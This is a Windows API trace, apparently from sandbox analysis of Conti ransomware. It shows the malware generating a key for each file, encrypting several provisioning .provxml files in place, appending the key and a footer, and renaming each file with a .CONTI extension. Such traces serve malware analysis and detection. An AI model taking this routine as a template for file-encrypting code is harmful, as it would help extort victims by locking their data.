	[0110.655] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.655] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0110.655] GetLastError () returned 0x0
	[0110.655] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=645) returned 1
	[0110.656] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x285
	[0110.656] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.656] SetEndOfFile (hFile=0x3d4) returned 1
	[0110.656] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.656] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.656] WriteFile (in: hFile=0x3d4, lpBuffer=0x6565394*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6565394*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0110.663] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.663] ReadFile (in: hFile=0x3d4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x285, lpOverlapped=0x0) returned 1
	[0110.663] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x285, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x290) returned 1
	[0110.663] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.663] WriteFile (in: hFile=0x3d4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x290, lpOverlapped=0x0) returned 1
	[0110.663] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.663] WriteFile (in: hFile=0x3d4, lpBuffer=0x6565388*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6565388*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0110.663] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.663] CloseHandle (hObject=0x3d4) returned 1
	[0110.663] GetProcessHeap () returned 0x1720000
	[0110.664] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.664] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml"
	[0110.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.664] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.664] GetProcessHeap () returned 0x1720000
	[0110.664] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.664] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.664] GetProcessHeap () returned 0x1720000
	[0110.664] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566290 | out: hHeap=0x1720000) returned 1
	[0110.665] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0110.665] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6568cd8 | out: phKey=0x6568cd8*=0x17c7eb0) returned 1
	[0110.665] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6568cdc, pdwDataLen=0x34ffaac | out: pbData=0x6568cdc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0110.665] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.665] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0110.666] GetLastError () returned 0x0
	[0110.666] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=732) returned 1
	[0110.666] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc
	[0110.666] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.666] SetEndOfFile (hFile=0x3d4) returned 1
	[0110.666] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.666] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.666] WriteFile (in: hFile=0x3d4, lpBuffer=0x6568cdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6568cdc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0110.673] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.673] ReadFile (in: hFile=0x3d4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2dc, lpOverlapped=0x0) returned 1
	[0110.673] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2dc, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0110.673] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.673] WriteFile (in: hFile=0x3d4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.673] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.673] WriteFile (in: hFile=0x3d4, lpBuffer=0x6568cd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6568cd0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0110.673] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.673] CloseHandle (hObject=0x3d4) returned 1
	[0110.673] GetProcessHeap () returned 0x1720000
	[0110.673] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.673] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml"
	[0110.673] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.673] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.674] GetProcessHeap () returned 0x1720000
	[0110.674] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.674] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0110.674] GetProcessHeap () returned 0x1720000
	[0110.674] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560bf8 | out: hHeap=0x1720000) returned 1
	[0110.674] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0110.674] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x656b5e8 | out: phKey=0x656b5e8*=0x17c7eb0) returned 1
	[0110.674] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656b5ec, pdwDataLen=0x34ffaac | out: pbData=0x656b5ec*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0110.675] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.677] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0110.677] GetLastError () returned 0x0
	[0110.677] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=841) returned 1
	[0110.677] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x349
	[0110.678] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.678] SetEndOfFile (hFile=0x3d4) returned 1
	[0110.678] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.678] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.678] WriteFile (in: hFile=0x3d4, lpBuffer=0x656b5ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x656b5ec*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0110.683] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.683] ReadFile (in: hFile=0x3d4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x349, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x349, lpOverlapped=0x0) returned 1
	[0110.683] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x349, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x350) returned 1
	[0110.683] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.683] WriteFile (in: hFile=0x3d4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x350, lpOverlapped=0x0) returned 1
	[0110.684] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.684] WriteFile (in: hFile=0x3d4, lpBuffer=0x656b5e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x656b5e0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0110.684] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.684] CloseHandle (hObject=0x3d4) returned 1
	[0110.684] GetProcessHeap () returned 0x1720000
	[0110.684] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.684] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml"
	[0110.684] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.684] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.684] GetProcessHeap () returned 0x1720000
	[0110.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.685] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0110.685] GetProcessHeap () returned 0x1720000
	[0110.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65679a0 | out: hHeap=0x1720000) returned 1
	[0110.685] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0110.685] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x656bcc0 | out: phKey=0x656bcc0*=0x17c8370) returned 1
	[0110.685] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656bcc4, pdwDataLen=0x34ffaac | out: pbData=0x656bcc4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0110.685] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.686] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0110.686] GetLastError () returned 0x0
	[0110.686] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=713) returned 1
	[0110.686] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0110.686] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.686] SetEndOfFile (hFile=0x3d4) returned 1
	[0110.686] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.686] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.686] WriteFile (in: hFile=0x3d4, lpBuffer=0x656bcc4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x656bcc4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0110.692] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.692] ReadFile (in: hFile=0x3d4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2c9, lpOverlapped=0x0) returned 1
	[0110.692] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2c9, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d0) returned 1
	[0110.692] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.693] WriteFile (in: hFile=0x3d4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.693] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.693] WriteFile (in: hFile=0x3d4, lpBuffer=0x656bcb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x656bcb8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0110.693] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.693] CloseHandle (hObject=0x3d4) returned 1
	[0110.693] GetProcessHeap () returned 0x1720000
	[0110.693] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
